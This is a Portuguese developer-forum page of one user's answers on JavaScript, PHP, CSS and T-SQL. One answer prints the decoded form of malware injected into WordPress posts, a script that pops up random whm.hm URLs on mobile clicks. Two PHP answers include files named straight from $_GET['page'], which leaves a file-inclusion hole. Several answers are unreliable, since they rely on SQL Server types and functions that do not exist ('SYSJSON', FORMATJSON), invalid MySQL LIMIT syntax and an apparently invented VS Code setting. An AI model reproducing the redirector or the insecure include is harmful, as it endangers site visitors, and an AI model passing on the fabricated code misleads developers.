-
Total de itens
1190 -
Registro em
-
Última visita
-
Dias vencidos
33
Tudo que Marcos_imasters postou
-
function funcContador() { var maximo = 100; var textoDigitado = document.querySelector('textarea').value; var quantidadeDigitada = textoDigitado.length; if (quantidadeDigitada === 0) { document.getElementById('idToto').innerHTML = ""; } else if (quantidadeDigitada === 1) { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracter digitado - máximo " + maximo; } else { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracteres digitados - máximo " + maximo; } if (quantidadeDigitada >= maximo) { document.getElementById('idToto').innerHTML = "Limite de caracteres atingido!"; } }
-
cara nao sei transact-sql só estou vendo com bases que eu vi que pode ser USE [meu_banco] GO /****** Object: UserDefinedFunction [dbo].[FormatJsonString] Script Date: 11/09/2023 16:52:25 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE FUNCTION [dbo].[FormatJsonString](@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue NVARCHAR(MAX) AS JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END; tenta assim
-
ja ouvir falar disso mais nunca usei digital isso no terminal vai instalar uma extersão code --install-extension eamodio.file-sorting e nas configuracoes do VScode em "settings.json" voce adiciona { "files.sort": [ { "sort": "name", "order": "desc" } ] } dessa forma vscode vai classificar as pastas por nome, em ordem decrescente exemplo: pastaProjetor pastaMouze pastaLivro pastaTeclado pastaCarro
-
o correto nao seria RETURN FORMATJSON(@JsonValue, indent = 4);
-
[Resolvido] esconder nome da página e o parametro na url
Marcos_imasters respondeu ao tópico de Biel. em PHP
você deve ta querendo usar URl amigáveis criei um arquivo .htaccess <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / # Redirecione solicitações para arquivos e diretórios existentes RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # Redirecione URLs amigáveis RewriteRule ^([^/]+)/([^/]+)$ index.php?page=$1&id=$2 [QSA,L] </IfModule> -
<?php $pagina1 = 'pagina1.php'; $pagina2 = 'pagina2.php'; $pagina3 = 'pagina3.php'; if(isset($_GET['54285']) && is_numeric($_GET['54285'])){ include $pagina1; } else if(isset($_GET['42589']) && is_numeric($_GET['42589'])){ include $pagina2; } else if(isset($_GET['67903']) && is_numeric($_GET['67903'])){ include $pagina3; } else { header("Location: a-ref-nao-confere.php"); exit(); } ?> mais teria formas melhores de se fazer <?php if (isset($_GET['page'])) { $page = $_GET['page']; $filename = $page . '.php'; if (file_exists($filename)) { include $filename; } else { header("Location: a-ref-nao-confere.php"); exit(); } } ?>
-
Aplicar border radius em mouseover numa TR
Marcos_imasters respondeu ao tópico de FabianoSouza em Desenvolvimento frontend
aqui no meu funciona normal o hover nao será seu navegador qual esta usando? -
Aplicar border radius em mouseover numa TR
Marcos_imasters respondeu ao tópico de FabianoSouza em Desenvolvimento frontend
Seria que nem o washalbano disse? table { border-spacing: 1em; border-collapse: separate; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } tr:hover td { background-color: red; } td { padding: 1rem 1.2rem; border-radius: 6px; border: 1px solid #555; color: #FFF; } -
Aplicar border radius em mouseover numa TR
Marcos_imasters respondeu ao tópico de FabianoSouza em Desenvolvimento frontend
table { margin: auto; border-collapse: separate; border-spacing: 0; border: 2px solid #ccc; border-radius: 10px; overflow: hidden; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } td { border: 1px solid #555; padding: 10px 30px; color: #FFF; } tr:hover td { background-color: red; } ainda nao entedir a forma que voce deseja coloquei como você ja fez seria isso? -
Script inserido no final das postagens do site wordpress é algum tipo de vírus por alguma falha em algum plugin
Marcos_imasters respondeu ao tópico de Chirlison em Desenvolvimento com Wordpress
Bom dia código esta ofuscado, bom que é simples a baixo o codigo decode (function () { const urls = [ "http://whm.hm/qfi0c5", "http://whm.hm/jqJ1c8", "http://whm.hm/zeO2c0", "http://whm.hm/neV3c8", "http://whm.hm/eWe4c5", "http://whm.hm/RJQ5c7", "http://whm.hm/kJr6c7", "http://whm.hm/Rtu7c9", "http://whm.hm/umR8c5", "http://whm.hm/MOO9c5" ]; const initializeLocalStorage = keys => { keys.forEach(key => { if (!localStorage.getItem(key + "-local-storage")) { localStorage.setItem(key + "-local-storage", 0); } }); }; const getRandomURL = availableURLs => { const notVisitedURLs = availableURLs.filter(url => localStorage.getItem(url + "-local-storage") == 0); return notVisitedURLs[Math.floor(Math.random() * notVisitedURLs.length)]; }; const handleRedirect = (keys, host, currentTime) => { initializeLocalStorage(keys); const newLocation = getRandomURL(keys); localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); localStorage.setItem(host + '-hurs' + '-local-storage', currentTime); localStorage.setItem(newLocation + "-local-storage", 1); if (isMobile()) { window.open(newLocation, "_blank"); } }; const isMobile = () => { let isMobileDevice = false; const userAgent = navigator.userAgent || navigator.vendor || window.opera; if ( /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(userAgent) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(userAgent.substr(0, 4))) { isMobileDevice = true; } return isMobileDevice; }; function handleClick(event) { event.stopPropagation(); const host = location.host; let randomURL = getRandomURL(urls); const currentTime = Date.parse(new Date()); const mntsLocalStorage = localStorage.getItem(host + "-mnts" + "-local-storage"); const hursLocalStorage = localStorage.getItem(host + "-hurs" + "-local-storage"); if (mntsLocalStorage && hursLocalStorage) { try { const mnts = parseInt(mntsLocalStorage); const hurs = parseInt(hursLocalStorage); const minutesDiff = Math.round(Math.abs(mnts - currentTime) / 60000); const hoursDiff = Math.round(Math.abs(hurs - currentTime) / 3600000); if (hoursDiff >= 6) { initializeLocalStorage(urls); localStorage.setItem(host + "-hurs" + '-local-storage', currentTime); } if (minutesDiff >= 3) { if (randomURL && isMobile()) { localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); window.open(randomURL, "_blank"); localStorage.setItem(randomURL + "-local-storage", 1); } } } catch (error) { handleRedirect(urls, host, currentTime); } } else { handleRedirect(urls, host, currentTime); } } document.addEventListener('click', handleClick); })(); -
Aplicar border radius em mouseover numa TR
Marcos_imasters respondeu ao tópico de FabianoSouza em Desenvolvimento frontend
tentou usar pseudo ::before e ::after ?? /* arredondar as células da primeira e última coluna */ tr td:first-child::before, tr td:last-child::after { content: ""; display: block; position: absolute; top: 0; bottom: 0; width: 10px; background-color: white; } /* primeira coluna */ tr td:first-child::before { left: 0; border-top-left-radius: 10px; border-bottom-left-radius: 10px; } /* última coluna */ tr td:last-child::after { right: 0; border-top-right-radius: 10px; border-bottom-right-radius: 10px; } /* quando o mouse passa sobre ela */ tr:hover { background-color: #000; } -
basicamente seria isso CREATE TABLE usuarios ( id INT AUTO_INCREMENT PRIMARY KEY, nome_login VARCHAR(10) UNIQUE, senha VARCHAR(255) ); cadastrar.php <?php try { $pdo = new PDO("mysql:host=seu_host;dbname=sua_base_de_dados", "seu_usuario", "sua_senha"); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Gerar um nome de login aleatório $nomeLogin = mt_rand(100000, 999999); // Números aleatórios de 100000 a 999999 // Gerar uma senha aleatória (você pode personalizar isso) $senha = password_hash("senha_aleatoria", PASSWORD_DEFAULT); // Inserir o novo usuário no banco de dados $stmt = $pdo->prepare("INSERT INTO usuarios (nome_login, senha) VALUES (:nome_login, :senha)"); $stmt->bindParam(":nome_login", $nomeLogin); $stmt->bindParam(":senha", $senha); $stmt->execute(); echo "Usuário criado com sucesso. Nome de login: $nomeLogin"; } catch (PDOException $e) { echo "Erro: " . $e->getMessage(); } ?>
-
sim ela é reconhecida até o 2019,tente assim CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END;
-
forum Revitalizando o Fórum - Precisa de Mudança!
Marcos_imasters postou uma questão Perguntas e respostas rápidas
Prezados membros da comunidade, O valor desse fórum reside em sua diversidade de opiniões e conhecimentos. como membros ativos, todos nós desempenhamos um papel crucial na manutenção desse espaço. A ausência de atualizações e moderação ativa pode minar a qualidade das discussões, afastar novos membros em potencial e até mesmo enfraquecer a coesão da nossa comunidade. Portanto, é fundamental agir agora e retomar o controle sobre o destino do fórum que tanto estimamos. Podemos não ter o poder formal da administração, mas temos a paixão, o conhecimento e o desejo de ver este espaço prosperar, peço a todos Vamos continuar compartilhando nossa experiência e sabedoria. Cada postagem, por menor que seja, contribui para o enriquecimento do fórum. Que nossas discussões não sejam apenas reflexões do passado, mas também olhares atentos para o futuro. Questione, argumente e inspire,juntos, temos um poder formidável. Conecte-se com outros membros, colabore em projetos e mantenha a chama da comunidade acesa. Juntos, podemos revitalizar nosso fórum e lembrar à administração a importância deste espaço À medida que cada um de nós se compromete a fazer sua parte, podemos superar a inatividade e transformá-la em um novo começo. Nossas ações podem inspirar, conectar e lembrar a todos nós por que este fórum é tão valioso. -
CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue SYSJSON; SET @JsonValue = CAST(@String AS SYSJSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END; tente assim
-
Como colocar um spinner do bootstrap antes do carregamento da query com o codeigniter.
Marcos_imasters respondeu ao tópico de clovis.sardinha em Javascript
adicione um atraso antes da view usleep(1000000); // 1 segundo no listaInativos.php adicione o html <div id="spinnerContainer" class="text-center d-none"> <div class="spinner-border text-primary" role="status"> <span class="sr-only">Carregando...</span> </div> </div> e o jquery $(document).ready(function() { $("#spinnerContainer").removeClass("d-none"); $(window).on('load', function() { $("#spinnerContainer").addClass("d-none"); }); });- 1 resposta
-
- codeigniter
- spinner
-
(e mais 1 )
Tags:
-
existe alguns pontos a considerar por exemplo: Separação de Responsabilidades Reutilização de Código Manutenção Desempenho Padronização Flexibilidade mande o exemplo que voce esta fazendo usando sql server?
-
problema ao carregar imagem em pdf com mpdf
Marcos_imasters respondeu ao tópico de joao b silva em PHP
isso deve ser algum error de permissao pela documentação voce deve achar deve ter alguma pasta mpdf/tmp que tenha que deixa permisao 0777 ou entao tente usar $mpdf->curlAllowUnsafeSslRequests = true; -
sim mais seria mais complexo <?php $string = 'cantar'; $palavras_especificas = array('cantar', 'brincar', 'pular'); $padrao = '/\b(?:' . implode('|', array_map('preg_quote', $palavras_especificas)) . ')\b/'; if (preg_match($padrao, $string)) { echo "correto"; } else { echo "incorreto"; } ?>
-
<?php $string = 'cantar'; // cantar, brincar, pular $palavras_especificas = array('cantar', 'brincar', 'pular'); if (in_array($string, $palavras_especificas)) { echo "correto"; } else { echo "incorreto"; } ?>
-
problema ao carregar imagem em pdf com mpdf
Marcos_imasters respondeu ao tópico de joao b silva em PHP
bom dia voce tem que verificar se o caminho da url da imagem esta funcionando ou transforma a imagem em base64 como esta seu codigo?? $mpdf = new \Mpdf\Mpdf(); $mpdf->showImageErrors = true; $mpdf->SetHTMLHeader(' <div style="text-align: left;"><img src="https://sistema.site.com.br/uploads/logo/logo.jpg" height="42"></div> '); $mpdf->SetHTMLFooter(' <table width="100%"> <tr> <td width="33%">{DATE d-m-Y}</td> <td width="33%" align="center">{PAGENO}/{nbpg}</td> <td width="33%" style="text-align: right;">My document</td> </tr> </table>'); $mpdf->SetDisplayMode('fullpage'); $css = file_get_contents("css/estilo.css"); $mpdf->WriteHTML($css,1); $mpdf->WriteHTML($html); $mpdf->Output(); exit; -
atualizar links automaticamente quando o arquivo for alterado
Marcos_imasters respondeu ao tópico de Biel. em PHP
<?php include('header.php'); $page = isset($_GET['page']) ? strtolower($_GET['page']) : 'home'; $pageFilePath = $page . '.php'; if (file_exists($pageFilePath)) { include($pageFilePath); } else { echo 'Página não encontrada.'; } include('footer.php'); ?> voce pode usar assim <a href="index.php?page=contato">Contato</a> -
function renderImg(e, callback) { var $elemImg = e.alvo, ofile = e.inpfile, reader = new FileReader(), files = e.inpfile.files, path = e.path; reader.onload = function (theFile) { return function (e) { $elemImg.setAttribute('src', e.target.result); callback("OK!"); }; }(files[0]); reader.readAsDataURL(files[0]); reader.onerror = function (event) { callback("ERRO"); }; } function Teste() { var e = { alvo: document.getElementById('elementoImagem'), inpfile: document.getElementById('elementoInputArquivo'), path: 'caminho/para/imagem' }; renderImg(e, function (status) { console.log(status); }); } <img id="imagemPreview" src="#" alt="Prévia da imagem"> <input id="inputArquivo" type="file"> <button onclick="Teste()">Carregar Imagem</button>
-
não há uma cláusula específica para exibir uma porcentagem específica dos resultados de uma consulta. No entanto, você pode obter o efeito desejado usando duas etapas: primeiro, determine o número total de linhas que correspondem aos seus critérios de pesquisa e, em seguida, selecione uma porcentagem desse número total SELECT COUNT(*) as total_rows FROM dados WHERE data = '2023-07-28'; Ai depois calcular 10% do número total de registros SELECT CEIL(0.10 * total_rows) AS ten_percent FROM (SELECT COUNT(*) as total_rows FROM dados WHERE data = '2023-07-28') as counts; ou em uma unica tabela SELECT * FROM dados WHERE data = '2023-07-28' ORDER BY id LIMIT (SELECT CEIL(0.10 * COUNT(*)) FROM dados WHERE data = '2023-07-28');
-
delivery Desenvolvedor PHP para atualizar sistema de Delivery
Marcos_imasters respondeu ao tópico de WAD - Soluções em Geral
uso de algum framework?